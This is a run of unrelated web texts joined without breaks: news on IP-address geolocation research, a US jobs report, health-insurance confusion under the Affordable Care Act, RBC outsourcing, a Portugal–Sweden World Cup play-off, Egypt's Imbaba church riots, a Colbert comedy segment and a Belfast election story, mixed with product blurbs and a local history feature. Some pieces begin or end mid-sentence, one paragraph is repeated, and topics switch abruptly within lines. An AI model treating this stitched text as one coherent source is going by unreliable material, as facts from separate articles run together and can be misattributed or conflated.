Other observers, including local tourist offices, have reached similar conclusions. In referring to New York City’s $60 billion tourist industry alone, the head of the city’s tourist effort complained that his agency’s effort to portray the United States as a welcoming destination to foreign citizens “was all in jeopardy.” Several other tourist officials have made like statements.
As you can see, there is plenty of evidence for a negative conclusion.On the Internet, nobody knows you're a dog—but they might now have an easy time finding your kennel.
In a research paper and technical report presented at the USENIX Networked Systems Design and Implementation (NDSI) conference at the beginning of April, researchers from Northwestern University presented new methods for estimating the exact physical location of an IP address tens or hundreds of times more accurately than previously thought possible. The technique builds on existing approaches but adds a new element: it uses local businesses, government agencies, and educational institutions as landmarks, helping it achieve a median accuracy of just 690m—less than half a mile.
The researchers, led by Yong Wang, used a variety of statistical techniques to combine data from 163 public ping servers and 136 traceroute servers into a precise estimate of the range of possible physical locations for a particular IP address. They state that, despite the large number of data sources they need to combine, their technique is capable of real-time use, giving results in just one or two seconds in real-world applications. The novel technique uses several iterations to successively hone in on a target's location.
How it works
Step one: a signal travels through optical cables at about two-thirds the speed of light, which drops down to about four-ninths the speed of light once you account for queuing at uncongested routers. The researchers' first iteration takes advantage of this fact by pinging the targeted address from multiple servers, then recording the amount of time that it takes a signal to return. Since the servers have known locations, this method of absolute timing results in a selection of circles around the ping servers; and the target must lie within the area where all of these circles overlap.
At this point, the researchers have a pretty good idea of the general area of the target address, (to within several miles) so they can start homing in by looking for local landmarks.
Step two: a selection of points within the possible area are selected, and these geographic points are converted into their corresponding postal ZIP codes. For each ZIP code found, a commercial mapping service is used to guess at a variety of possible businesses, schools, and other institutions in the area. The researchers are looking for locations that publish their street address on their website and also host their website from that same physical address. The websites of the candidate business are scraped, looking for a street address.
Meanwhile, a couple of clever techniques are used to weed out websites that are hosted by a CDN, on a shared hosting service, or otherwise located away from the physical address. The resulting places are very important landmarks, because they combine a known location on the network with a precise geographic point.
Step three: now that the researchers have reliable pairs of IP and physical addresses, they can start searching for Internet backbone routers in the vicinity. They send traceroute requests from as many servers as possible to both the nearby landmarks and to the target IP address. Comparing some of these traces and the geographic locations of the known landmarks, they can deduce which nearby routers are connected to both the target and the landmark.
Then, using timing data from the pings, they eliminate congested routers which add too much delay to be reliable sources of distance data. The time it takes these nearby routers to ping the target allows for another, more fine-grained set of circles which constrain the target's location again, this time down to the area of just a few city blocks.
It turns out that physical distances vary in close proportion with relative ping times of nearby landmarks. The researchers can look at a particular router and see how long it takes pings through that router to reach landmarks and the target. The relative ping times can then be translated into quite accurate local distances. Now, the research team can guess how close the target is to the small number of landmarks which remain in the possible area, and associate its physical location with that of the nearest, most reliable landmark.
This final analysis gives a very good guess at the target's location: the median estimate is about 690m away from the target's actual position. That's almost close enough to send in the black helicopters—or the lawyers.
Here come the ads
The most important part of the research is that the method described is completely client independent: it doesn't require any particular software on (or even permission from) the computer being targeted. This makes it particularly valuable to advertisers, who can now choose to target ads for the burger joint down the street or the record shop a block over.
But the technique also has some serious privacy implications. Before this, turning an IP address into a truly accurate location required a lot of work and some human interaction. With this method, the barriers to accessing real location data are considerably lower.The jobs recovery was what we thought it was. After last month’s lousy numbers, that’s reason enough for celebration.
The U.S. economy added 223,000 jobs in April, and the unemployment rate fell to 5.4 percent, its lowest level in nearly seven years, the Bureau of Labor Statistics said Friday. That’s a solid month for the job market, but unspectacular by recent standards – pretty much a continuation of recent trends.
But in this case, “a continuation of recent trends” sounds pretty good. That’s because last month’s jobs report showed a worrisome break from that trend: a sharp slowdown in hiring. That slowdown turns out to have been even worse than initially believed: Employers added just 85,000 jobs in March, 41,000 fewer than first reported. March now stands as the worst month for job growth since the middle of 2012.
The stronger April figures suggest that March was, as many suspected at the time, just a blip. Job growth has topped 200,000 jobs in 13 of the past 14 months, and while that doesn’t sound as good as “14 months in a row,” one month of weak numbers doesn’t change more than a year of strong ones.
All the caveats that applied to last month’s numbers apply to this one’s too, of course: The figures are preliminary, subject to revision and are volatile from month to month. But the most reasonable interpretation of the evidence is that the job market remains on the same track that it’s been on for much of the past couple years, neither as strong as November and December’s blockbuster numbers nor as weak as March’s bad ones.
So where does that leave us? The good news is that the job market remains resilient despite weak growth overseas and signs of a slowing economy at home. In the early stages of the recovery, hiring seemed to screech to a halt every time the economy hit a speed bump; these days, employers only ease off the accelerator.
On the other hand, April’s numbers did nothing to ease lingering concerns that the headline jobs numbers are masking deeper problems in the economy. People who abandoned the labor force during the recession still aren’t returning to look for work. Wage growth still isn’t accelerating. Millions of Americans remain stuck in part-time and low-paying jobs. Friday’s report helped ease the short-term fear of a hiring slowdown, but the long-term troubles remain.
Here are a few other notable numbers from the report:
Wage growth remains weak: Quarterly numbers released by the government last week hinted that employers might finally be raising workers’ pay. But there wasn’t much evidence of that in Friday’s monthly figures. Average earnings rose 3 cents to $24.87 an hour, up 2.2 percent over the past year. For non-managers, earnings are rising even more slowly. Meanwhile, the average workweek stayed flat at 34.5 hours, and manufacturers actually cut overtime hours; both numbers suggest companies aren’t struggling to find workers, which may make them less likely to raise pay.
Unemployment down: Regular readers know that the unemployment rate only counts people who are actively looking for work, which means it can fall for good reasons (more people find jobs) or bad ones (more people give up). In April, the news was good: More workers found jobs and fewer lost them. The unemployment rate has fallen 2.2 percentage points in the past two years, the fastest drop since the mid-1980s; at 5.4 percent, the rate is now in a range most economists consider consistent with a strong economy.
Still, the unemployment rate may overstate the health of the job market. A broader measure of un- and underemployment, which counts people who have given up looking for work or who are stuck in part-time jobs, is exactly double the headline unemployment rate, at 10.8 percent. The broader measure is falling too, but it remains well above its prerecession level. And while Friday’s report showed an uptick in the participation rate – the share of the population that has a job or is actively looking for one – there has been little sign of a surge in people returning to the job market to look for work.
Fewer working part-time involuntarily: Nearly 6.6 million Americans are working part-time because they can’t find full-time jobs. That’s down nearly a million from a year ago, but remains far above normal levels; when the recession began, just 4.6 million workers were stuck in part-time jobs.
The bigger picture is more mixed. The vast majority of the job growth in the recovery has been in full-time employment: Since the recession ended in June 2009, the economy has added 8 million full-time workers while part-time employment has been more or less flat. But despite nearly six years of economic growth, full-time employment still hasn’t returned to its pre-recession level.
Layoffs hit the oil patch: The mining sector – which is dominated by the oil and gas industry – cut nearly 15,000 jobs in April, and has shed nearly 50,000 jobs so far this year as companies have cut back drilling in response to low oil prices. The layoffs are hitting certain parts of the country especially hard: Texas lost more than 25,000 jobs in March, and far smaller North Dakota lost 3,000. (Those figures cover all industries, not just oil and gas.) Meanwhile, the strong dollar may be hurting U.S. manufacturers: Factory employment was more or less flat for the third consecutive month.
With oil and manufacturing both suffering, much of April’s job growth came in lower-paying sectors such as retail and hospitality. Restaurants and bars alone accounted for 26,000 new jobs, although that may have been partly a rebound from weak numbers in March. Temp jobs, meanwhile, posted a second straight month of solid growth following two months of unexpected weakness.As soon as Deb Emerson, a former high school teacher from Oroville, Calif., bought a health plan in January through the state’s insurance exchange, she felt overwhelmed.
She couldn’t figure out what was covered and what wasn’t. Why weren’t her anti-depressant medications included? Why did she have to pay $60 to see a doctor? The insurance jargon – deductible, co-pay, premium, co-insurance – was like a foreign language. What did it mean?
“I have an education and I am not understanding this,” said Emerson, 50. “ I wonder about people who don’t have an education — how baffling this must be for them.”
Health officials have spent much of the past year promoting the Affordable Care Act and enrolling people in coverage. Now they need to help consumers understand the basics of health insurance and how to use their policies, health care providers and researchers say.
“Giving somebody an insurance card and not really telling them what that insurance is going to do for them is not going to produce the health outcomes that we all want to see,” said Brendan Saloner, a post-doctoral researcher at the University of Pennsylvania. “If the goal is to improve health and lower costs … it is really important to equip consumers with the education they need.”
Patients who don’t grasp fundamental health and insurance concepts are less likely to make smart decisions about when and where to seek care, experts said. In fact, people with low “health literacy,” as experts put it, are more likely to be hospitalized and use costly emergency rooms, according to the Institute of Medicine.
It’s a big problem. About one in 10 people in the U.S. have a proficient level of health literacy, according to an assessment by the U.S. Department of Education – that is, they could understand and use health-related information in daily activities.
It’s a big problem. About one in 10 people in the U.S. have a proficient level of health literacy, according to an assessment by the U.S. Department of Education – that is, they could understand and use health-related information in daily activities.
And researchers at the USC Schaeffer Center for Health Policy & Economics determined that just weeks before open enrollment began last year for state and federal insurance exchanges, more than 40 percent of Americans couldn’t explain a deductible – the amount patients owe for health services before insurance kicks in. The authors found that those likely to benefit most from the health law – uninsured and low-income Americans – had the least awareness.
“There is a huge void,” said Bonnie Braun, a health literacy expert and professor at the University of Maryland School of Public Health.
Insurance is often perplexing even to savvy consumers. Acronyms abound: HMOs, PPOs, ACOs. Letters arrive in the mail saying “this is not a bill” yet appear to be just that. Some detail exorbitant prices that have nothing to do with what is actually owed.
Language and cultural barriers add to the confusion. “It’s hard to understand even if it is Spanish,” said Marisela Sanchez, 50, a new Medi-Cal enrollee from Los Angeles who has diabetes, high blood pressure and high cholesterol. “If it’s in English, it’s worse.”
Community health centers throughout the nation are seeing some of the problems firsthand.
At Eisner Pediatric & Family Health Center in downtown Los Angeles, lead enrollment specialist Martha Vasquez said the vast majority of patients who bought private insurance selected plans with the lowest premiums, not necessarily grasping that those plans came with high deductibles.
Now they are asking why the visits that they consider preventive aren’t free and whether hospital visits are included in their plans. They also are uncertain what specialists they can see and what medications are covered.
Jessie Yuan, a physician at the center, said patients have been confused about health insurance for a long time. The new health law “just adds another layer on top of that,” she said.
Yuan said she sees it as part of her job to give a brief orientation to new Medi-Cal patients. On a recent morning, she spoke with Oscar Gonzalez, a diabetic patient from Huntington Park, in Spanish. Gonzalez had been switched to Medi-Cal from a free county program for the uninsured.
With Medi-Cal, Yuan told her patient, over-the-counter medications like Tylenol and cough syrup aren’t free anymore. He can get a free vision appointment but will have to pay for glasses. It will be easier to get referrals to specialists, but if he needs to change the appointment, he has to do it himself.
And instead of giving him a three-month supply of medications, Yuan explained she would write a refillable prescription that would cover several months.
Gonzalez seemed bewildered.
He didn’t even know he had been automatically switched to the Medi-Cal program until Yuan told him. “I knew by the news they were making some changes,” he said. “But I don’t know all the rules.”
The side effects of confusion can be harmful, providers said. Sanchez, the new Medi-Cal recipient from Los Angeles with several chronic conditions, stopped taking two of her regular medications because the doctor didn’t write new prescriptions. Sanchez concluded she didn’t need them anymore – not realizing that she was supposed to get refills.
“The concept of refill is very difficult for our patients,” said Nicole Alton, the Eisner health center’s director of pharmacy. “She is just one of hundreds of people who come and don’t understand the system.”
It’s not just low-income patients or those new to insurance who need help navigating the system.
Rob Hoerntlein, 63, had purchased private insurance before but said he is stumped by his new Covered California plan, which took effect in April.
“I still don’t understand what the costs or coverage are,” said Hoerntlein, who lives near Yosemite and is a licensed real estate agent.
When his wife had some warts burned off, he got a bill for about $300. Hoerntlein said he was told that he had vision coverage but later told he didn’t. The booklet explaining his new health coverage arrived months after signing up for the policy.
To address these problems, efforts are underway across the nation by the government agencies, universities and health plans to help people understand the language of health insurance, what services are covered and how to make the best use of policies. The University of Maryland and the nonprofit Insure the Uninsured Project in California are among those who have offered workshops or are planning to.
Health insurance exchanges are publishing glossaries of insurance terms. Insurers are holding webinars, sending out welcome kits and trying to make everything “clear, simple and easy to use,” said Susan Pisano, spokeswoman for America’s Health Insurance Plans. Pisano added that patients will take better care of themselves if they understand their benefits.
Deb Emerson, the Oroville woman who chose a policy through Covered California, said she has spent the last several months reading and asking questions about what is included in her plan and what her financial responsibilities are. She still isn’t clear why she paid about $70 to see a doctor before getting insurance – and $60 afterward.
Come next month, Emerson expects to become eligible for Medicare and will have to start all over again.
“I am worried it might be more confusing,” she said.
This story also ran in the Sacramento Bee. It can be republished for free. Kaiser Health News is an editorially independent program of the Henry J. Kaiser Family Foundation, a nonprofit, nonpartisan health policy research and communication organization not affiliated with Kaiser Permanente.We Do What We Must Because We Can Have you always dreamed of working in the exciting world of science? Well now you can! Aperture Laboratories has announced openings in many fields, from AI to gastronomy. Come work in our fast-paced, fun environment. There's cake in every break room....
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Note: Please reference the table below to choose your size.TORONTO — The federal government says it has concerns about a reported move by Canada’s largest bank to replace some Canadian employees with temporary foreign workers, part of a larger plan to outsource the jobs for cost savings.
[np_storybar title=”Outrage over alleged outsourcing: RBC hiring practice draws flack online” link=””] Anger simmered over onto social media sites over the weekend.
Someone started a Facebook group called Boycott Royal Bank of Canada to encourage people to write to the federal human resources minister, immigration minister and even the prime minister to express their concerns over the alleged hiring practices. The group had grown to 2,531 followers by early morning on Monday.
Others took to social news sharing site Reddit to discuss the news. One comment thread on the site titled
Another entry titled ‘About RBC firing Canadians to hire foreign workers. Maybe RBC has troubled finances?’ calls into question the argument that the bank could justify such actions on financial grounds. “NOPE... Seems like RBC is acting like every other dime-a-dozen corporation,” reads the introductory blurb from poster GrndCtrl2MajTom.
RBC was trending on Twitter in Canada Sunday afternoon.“Bad move @RBC I’ve been thinking about switching, thanks for making decision easy for me,” tweeted one man.
“What is wrong with you @RBC—Canada,” tweeted another. “Making Canadians lose their jobs … I will switch banks, if not corrected.”
Financial Post staff, with files from Canadian Press
[/np_storybar]
The Royal Bank of Canada denied reports that it has hired temporary foreign workers to take over its own employees’ job functions adding in a statement Sunday that it does work with “external suppliers” to provide certain services both in Canada and globally.
Diane Finley, federal minister of human resources and skills development, reacted over the weekend to a CBC report that the bank is laying off 45 employees in its RBC Investor Services division in Toronto and training foreign workers hired through IT outsourcing firm iGATE Corp. to take over some of those jobs in Canada while the majority of the roles will eventually be transferred abroad.
“We have recently learned of allegations that RBC could be replacing Canadian workers by contracting with iGATE, which is filling some of the roles with temporary foreign workers,” Ms. Finley said in a statement published online Sunday morning. “If true, this situation is unacceptable.”
The Minister said she has directed her department to work with immigration authorities to “determine the next steps.”
The goal of the Temporary Foreign Worker Program, she said, is to fill job shortages when there are no Canadians to take those positions, not “to replace already-employed Canadian workers.”
RBC spokeswoman Rina Cortese said Sunday the bank plans to discuss the situation with government officials. The bank also published a statement it said was intended to “address media reports and provide clarification.”
“Contrary to allegations, RBC has not hired temporary foreign workers to take over the job functions of current RBC employees,” it said. “Like most businesses, RBC works with many suppliers to provide certain products and services in Canada and globally.”
The statement did not directly address the number of employees affected or what roles workers contracted through iGATE would fill and whether any of those jobs are in Canada.
“RBC agreements with suppliers, including in this case iGATE, requires them to ensure that they are abiding by the applicable laws and regulations,” Greg Grice, chief procurement officer at the bank, said in the statement.
Zabeen Hirji, chief human resources officer, suggested in the statement that the Canadian jobs would not all be lost and said RBC is “focused on assisting our employees through this transition.”
“We are working diligently to find suitable roles for those affected and it is our hope over the next few months to transition them to other positions,” Ms. Hirji said.
A spokesman from iGATE, which has its global headquarters in India and is listed on the U.S. Nasdaq stock exchange, did not respond to a request for comment Sunday.
Despite posting healthy profits quarter after quarter, Canadian banks are under pressure to keep expenses in check as they face continued uncertainty in both the global and domestic economies and concerns about high household debt levels that could lead to defaults should low interest rates go up.
RBC assumed full ownership of its Investor Services division last year after completing its acquisition of the 50% stake in custody bank RBC Dexia it did not already own.
It recorded $213-million in after-tax losses related to its acquisition of the asset from distressed Belgian lender Dexia.
During a conference call with investors on Feb. 28 after the bank’s most recent earnings report, president and CEO Gordon Nixon suggested cuts to Investor Services could be on the table.
“It’s been six months since we’ve had full ownership of RBC Investor Services and we have made solid progress towards integrating the business,” he said, adding, “we are focused on strengthening the business model to adapt to the challenging operating environment, including aggressively managing costs and streamlining operations to drive efficiencies.”
Financial PostCristiano Ronaldo's hat-trick ensured Portugal qualified for a fourth straight World Cup finals with a thrilling play-off win against Sweden.
Portugal led 1-0 going into the second leg and dominated before Ronaldo's angled drive deservedly put them ahead.
Zlatan Ibrahimovic levelled on the night with a free header before he lashed in a free-kick as the hosts sensed an unlikely comeback in the tie.
Who has qualified? Africa: Algeria, Cameroon, Ghana, Ivory Coast, Nigeria Asia: Australia, Iran, Japan, South Korea Europe: Belgium, Bosnia-Hercegovina, Croatia, England, France, Germany, Greece, Italy, Netherlands, Portugal, Russia, Switzerland, Spain North & Central America & Caribbean: Costa Rica, Honduras, United States South America: Argentina, Brazil (hosts), Colombia, Ecuador, Chile
But two quickfire goals from Ronaldo secured Portugal's place in Brazil.
The two-legged tie was billed by many as a battle between Ronaldo and Swedish counterpart Ibrahimovic for the right to showcase their supreme talents on the greatest stage of all next summer.
And the pair failed to disappoint as they became the central figures in a remarkable second half in Stockholm, where all five goals were scored in a 29-minute burst.
Sweden knew they needed to employ a more attack-minded gameplan on home turf after Ronaldo headed in a late winner in Friday's first leg in Lisbon.
But they barely threatened in a first-half performance which lacked quality and any notable opportunities for them to wipe out Portugal's slender advantage.
Erik Hamren's side did start briskly, with Martin Olsson and Alex Kacaniklic combining well down the left on several occasions.
However, they lacked a penetrative final ball and Portugal managed to ride out the pressure before gradually growing in the game, led by Ronaldo.
Rampant Ronaldo Real Madrid and Portugal star Cristiano Ronaldo's hat-trick against Sweden took his 2013-14 tally to a remarkable 34 goals in 24 games for club and country. The treble also moved him level with Pauleta as Portugal's record goalscorer on 47 international strikes.
After defender Bruno Alves's downward header forced Sweden goalkeeper Andreas Isaksson into a save low to his right, the ex-Manchester United player took control of the match and orchestrated every attacking move by the visitors.
He was unable to convert a trio of difficult chances, before he turned provider with a deep cross that Hugo Almeida could only head into the side-netting with the Sweden goal gaping.
Ibrahimovic was a peripheral figure for the Swedes in Lisbon, and was almost as anonymous in the first half on Tuesday.
The Paris St-Germain striker continually dropped deep to receive the ball before half-time, but found more attacking purpose in the early stages of the second half as he pushed further forward.
World Cup woe for Zlatan At the age of 32, Sweden skipper Zlatan Ibrahimovic may not have another opportunity to play in a World Cup finals. And the tournament would represent a nadir in the Paris St-Germain striker's career. He has never scored at a finals having made two substitute appearances in 2002 and three starts in 2006.
And his tenacious run into the Portuguese box almost instantly paid dividends. The Swedish talisman stretched to scoop the ball back from the byeline to team-mate Seb Larsson who could only poke straight at Portugal goalkeeper Rui Patricio.
Within 90 seconds, Ronaldo silenced the noisy Friends Arena by latching on to Joao Moutinho's perfect throughball and smashing in an angled drive.
The opener meant Sweden needed to score three times to turn the tie around, but they were given hope when Ibrahimovic nodded in Kim Kallstrom's right-wing corner after marker Alves barely jumped to challenge.
The partisan Swedish crowd - perhaps taking heart from their team's remarkable comeback from a 4-0 deficit to draw against Group C rivals Germany in October 2012 - rediscovered their voices again when Ibrahimovic thumped in a free-kick on the edge of the Portugal area.
But their hopes were quickly dashed as Ronaldo stole the show at Ibrahimovic's expense.
The 28-year-old produced two more strikes of the highest quality - which even appeared to draw applause from the Sweden skipper.
Ronaldo first latched on to Almeida's throughball to fire beyond Isaksson before rounding the Sweden goalkeeper and blasting in - to spark wild celebrations from the Portuguese camp.Superior Sound 1) 50 millimeter Dual-Diaphragm Driver - Inner and outer rings separate the bass from bleeding into the mids and highs, often by an order of magnitude. 2) Immersive 3D Soundstage - Live performance experience featuring clean deep bass, lifelike vocals, crystal clear cymbals and crispy hi-hats. 3) Master Crafted Materials - Superior lightweight metal components, 4) No Batteries or Artificial Processing - Powerful, pure sound without the pollution of two extra digital-to-analog conversions of battery powered headphones. 5) Minimal sound leakage - Immersive sound for you without bothering others.
Supreme Comfort 1) 5+ Years of Ergonomic R&D - Resulted in an ergonomic headband and hexagon shape that contours to the natural lines of your facial features and minimizes gaps. 2) Ergosoft Foam Cushions - Naturally forms to your ears to provide ergonomic comfort and noise isolation for extended listening sessions. 3) Exotic Materials - All metal build and vegan leather headband for unparalleled comfort and sturdiness. 4) CliqFold Hinge - Luxury lighter-like hinge mechanism precisely folds the headphones into impossibly small exoskeleton case.
Military Level Durability 1) Virtually Indestructible Steelflex Headband - Vegan leather cover, user adjustable clamping force and vastly superior strength to plastic headbands. 2) Steel Frame. 3) Exoskeleton Form-Fitting Case. 4) 1+ Million Cable/Plug Bends - Cables and 5-degree plug can bend over 1 million times. 5) Durable against the elements - High and low temperature, humidity, salt spray and UV resistant.Atari SIO2SD disk drive emulator
When I show off my computers to others it's good to demonstrate the full package. If it's disk capable, I like to have the original disk drives and the associated clutter as would be seen in the day. That's all well and good but sometimes I just want to drag a unit out to play a game or use some software. If that's the case it doesn't need to be entirely authentic and it is less hassle if I can cut down on the set-up time somehow.
This is why I've now got one of these for my Atari 8-bit machines...
Figure 1. A SIO2SD disk drive emulator from Lotharek's lair.
This little box emulates an Atari 8-bit computer disk drive. Disk contents are read from disk images in the form of files on an SD card. Each card can hold hundreds of disk |
firms Mandra Capital, Colbeck, and Pantera Capital.
Also read: Keepkey Expands Worldwide to Retailers and Vendors
Dan Morehead, Partner at Pantera Capital, said of the announcement:
“Chronicled has built a strong team and continues to deliver on product, engineering, and operational performance milestones.—Collectible and vintage sneakers are just the beginning. The intersection of the consumer Internet of Things and blockchain is going to be a big trend over the next decade. Authenticity verification and provenance of luxury goods and other physical items is a huge untapped market, and due to privacy concerns consumers will want to own the data history associated with their physical property, which is a benefit of a blockchain-based back-end.”
Chronicled Raises $3.4 Million to Re-establish Trust In the Collectible Sneaker Industry
The Chronicled platform, which is available via the iOS App Store and Google Play, eliminates sneaker knock-offs sold within the collectible footwear market. The collector’s item sneaker operations is a very lucrative business. In 2014, the annual sneaker resale market grossed $1 billion worldwide and continues to increase. However, phony items that are unlicensed copies plague the industry and consumers getting expensive rip-offs happens all the time. Counterfeits have become so good they are nearly indistinguishable from the originals and have to be identified by the creators or experts. The San Francisco-based startup believes they can establish a stronger reputation and trust system within the collectible footwear market.
Chronicled uses blockchain technology to cryptographically ensure authentic trades dominate the resale market. The company uses Smart Labels within an open digital registry so it can track “authenticity, ownership, and provenance.” The Chronicled team has said to be collaborating with Identiv (NASDAQ: INVE) to develop these encrypted microchip applications. The proceeds from its latest seed round will be used to build up the company’s customer base and implement its tagging solution. The BLE smart tags will be a “first-of-its-kind encrypted” technology used in the apparel business. Song-Yi Zhang of Mandra Capital is excited to invest in this venture stating:
“Chronicled represents a unique and exciting way for collectors and marketplaces dealing in high-end consumer goods to offer a guarantee of authenticity. Markets in the US and Asia alike have been in need of such a solution for a very long time, and we see great opportunity for this technology in our region.”
The company will begin its authentication services in the New York region around April 2016 and has been showing off its authenticity tags at sneaker conventions. Chronicled hopes to partner with companies in the industry as it did with Beastmode and Greats back in 2015. The startup hopes its service can help the collectible environment and save consumers money. Its mission is to “re-establish trust among consumers and strengthen connections between brands and their customers.”
What do you think about the Chronicled concept? Let us know in the comments below!
Images courtesy of the Chronicled website, and PixbayOut-of-Stock Limited Editions cannot be reproduced.
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$30.00The riots, in Imbaba, a poor, densely populated district in the city, have heightened fears that a power vacuum following Hosni Mubarak's overthrow will lead to a power grab by Islamic fundamentalists, more sectarian strife and a collapse in law and order.
The prime minister, Essam Sharaf, called an emergency cabinet meeting after postponing a tour of Gulf oil states intended to win Egypt desperately needed financial support, three months after the uprising.
Following the meeting Abdel Aziz al-Gindi, the justice minister, said: "We will strike with an iron hand all those who seek to tamper with the nation's security." He promised to protect places of worship from attack.
The Supreme Council of the Armed Forces, which has ruled the country since Mr Mubarak's enforced resignation on February 11, announced the arrest of 190 people yesterday and said they would be tried before military tribunals.
Muslim protesters had tried to storm the St Mena's church in Imbaba on Saturday evening, claiming Christians were holding against her will a woman who had converted to Islam and married a Muslim.
Stones and firebombs flew over the heads of soldiers who had been deployed in the dusty, narrow street outside the church.
Soldiers also scuffled with Coptic Christians who accused them of not doing enough to protect them after a fire bomb thrown from the Muslim side set fire to an apartment building next to the church.
The troops eventually advanced on the Muslim protesters, a mix of Imbaba residents and hardline Salafi fundamentalists, firing over their heads and forcing them to retreat down the street.
Inside the church, blood pooled on the floor as wounded Christians were rushed in for treatment. Near the altar, the parishioners had wrapped a corpse in a cloth and placed a bible on its chest.
Father Hermania, the church priest, said at least five Christians were killed in the clashes, which lasted into Sunday morning. The government later said 12 people, including at least four Christians and six Muslims, died in the violence.
Soldiers unsuccessfully tried to persuade Christians standing guard outside the church gates to go inside, but they refused, chanting "Oh God! Oh Jesus." The Muslims chanted back: "There is no God but Allah."
Muslim protesters also set fire to a second church in the same district and attacked Coptic-owned businesses.
They insisted that Christians had fired on them when they went to the church to negotiate the woman's release. The Copts denied they were holding any converts.
One of the Muslim protesters, dressed in the white knit skull cap and robes often worn by Salafi extremists, said they would be satisfied only when the church was searched for weapons and the alleged convert.
"We won't leave until they give up their weapons and those who killed us are tried," said the man, who gave his name as Mamduh.
The clashes were the worst since 13 people died in a brawl in March in another Cairo neighbourhood after Christians protested against an arson attack on a church.
The military has promised to come down hard on sectarian attacks, but Christians say that they have too often been left to fend for themselves.
Dozens held a protest outside the American embassy on Sunday demanding that the United States intervene on their behalf.
Coptic Christians account for roughly 10 per cent of the country's 80 million people, and they have long complained of state sanctioned discrimination.
On New Year's Eve, a suicide bomber killed at least 20 people outside a church in Alexandria after a Coptic Mass.
Church leaders spoke out in support of Mr Mubarak, and the recent clashes will confirm the fears of many Christians that his overthrow might unleash powerful and sometimes violent Islamist forces.
Other Christians, particularly the young, joined in the protests against his rule, and claimed that he had himself covertly encouraged Islamic militancy in order to win support for his regime from America and the West."Late Show" host Stephen Colbert poked fun at Kellyanne Conway Monday night, after the White House counselor suggested that "microwaves that turn into cameras" could have been used to spy on Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE's presidential campaign.
"It's true, it's true, microwaves that turn into cameras. How do you think we film this show? Jim, show them camera three," Colbert said as the camera panned to a microwave on a tripod.
Colbert also retrieved a Hot Pocket from the microwave and spoke to former President Obama through the microwave.
“President Obama,” he whispered. “I miss you.”
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Colbert also joked about Conway's surveillance claims, hitting her for saying she wasn't "Inspector Gadget" in an interview.
"Okay, Inspector Gadget had all sorts of tools at his disposal, gadget skates, gadget 'copter," Colbert said, referencing the cartoon detective. "Kellyanne Conway has only one move: 'go, go alternative facts.' "
Conway suggested in a new interview, without providing evidence, that the Trump campaign may have been monitored in "any number of ways."
“What I can say is there are many ways to surveil each other,” Conway told the Bergen County Record in New Jersey. “You can surveil someone through their phones, certainly through their television sets.”
Conway added that there are “microwaves that turn into cameras” during a discussion of surveillance methods.
The discussion comes more than a week after Trump said without evidence that Obama ordered surveillance of Trump Tower during the presidential race.This fully electric vehicle might look dinky (hell, even its burnouts are cute), but it's just become one of the fastest-accelerating cars on the planet, beating the likes of the Bugatti Veyron and Porsche 918 to cinch a new world record for EVs. Built by a team of students from the University of Stuttgart, the car managed to hit 62 mph (100 kmph) in an astonishing 1.779 seconds. In fairness though, we should point out that this beats the previous record holder — Swiss team AMZ Racing — by just 0.006 seconds. According to a report from Electric Autosport, the car weighs 160kg and is powered by four electric motors and a 6.62kWh battery to generate 134 horsepower. This gives it a power-to-weight ratio of 1.6 kg/kW. Not as good as a Formula One car (1.0 kg/kW), but easily beating a Bugatti Veyron Supersport (2.08 kg/kW). Not so dinky anymore.Ex-MLA given £65k Stormont pay off set to run for election again BelfastTelegraph.co.uk A former SDLP MLA is to run again in the Assembly election - despite receiving a Stormont severance package. https://www.belfasttelegraph.co.uk/news/northern-ireland-assembly-election/exmla-given-65k-stormont-pay-off-set-to-run-for-election-again-35379055.html https://www.belfasttelegraph.co.uk/incoming/article34671708.ece/89f7b/AUTOCROP/h342/doloreskelly.jpg
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A former SDLP MLA is to run again in the Assembly election - despite receiving a Stormont severance package.
Dolores Kelly confirmed she got a resettlement payment and a winding-up allowance linked to the closure of her office.
Figures released by the Assembly this week, covering the period between April and May last year, show more than 30 MLAs who did not return to Stormont received over £1m between them. This included £696,331 in resettlement allowances, and a further £471,151 in winding-up expenditure.
Mrs Kelly received a total of £65,792, according to the Assembly figures covering this period.
But Mrs Kelly, who is 57, insisted there was nothing in the rules to prevent her from standing again. Yesterday, she told the Belfast Telegraph she received a final severance payment of around £34,000 - but said she was not prevented from running again.
"As I understand it, the rules do not preclude a person from standing for re-election. The payment is a redundancy to help people adjust back into normal life," she said.
Asked if she felt she should hand some of it back, Mrs Kelly said: "Well I would have to get elected first. Let's wait and see."
Mrs Kelly also confirmed her final winding up allowance totalled around £60,000, but said the money was used to pay off her staff.
"None of that money went to me. I had to pay off the equivalent of three full-time staff and they were paid up until September under a contractual agreement," she said.
In 2014, Mrs Kelly referred to the "scandal" of senior PSNI officers being rehired days after walking away with generous pay-offs.
The Public Accounts Committee had found that a fifth of officers who retired under the Patten reforms, were rehired as agency staff.
Mrs Kelly's defeat last May left Upper Bann without an SDLP representative in the Assembly, as the fight for the last seat went down to the wire.
She was finally squeezed out on the 11th count - only around 160 votes short of maintaining the seat she had held for 13 years.
That election saw Sinn Fein candidate Catherine Seeley - who is now bowing out of politics to return to her former job as a teacher - gain a second seat in Upper Bann for her party, alongside John O'Dowd.
Mrs Kelly said it had not been expected there would be another election until 2021 and she did not know if she would want to return to politics by that time.
This time, the number of seats in each constituency is reduced from six to five, making the contest more of a battle than ever.
Mrs Kelly confirmed she will be the only SDLP candidate, and said her sole concern was that the relatively low turn-out of last May could be repeated.
She said: "I think this is a concern among all the parties, but I am being told by people I meet that they are very angry and they want change.
"Well, if they want change, they will have to come out and vote for it. People will not get the change they want if they stay at home."
Belfast TelegraphIt is not known when the McGrath was built, but research shows that it had been used as a barn on the Isaac Witter farm and could have been built around 1890. (Photo: Contributed photo)
In celebration of south Wood County’s rich history, Vintage Venues — a Daily Tribune weekly feature — puts the spotlight on the past and the story behind some of the most historically significant local sites.
McGrath Home, 811 Elm St., Wisconsin Rapids
Brief history: The home that Ken and Sue McGrath bought in 1972 was moved to that location in 1921. It is not known when the home was built, but research shows that it had been used as a barn on the Isaac Witter farm and could have been built around 1890. The Witter farm encompassed much of the land east of Third Street, now including a couple of churches and Assumption High School.
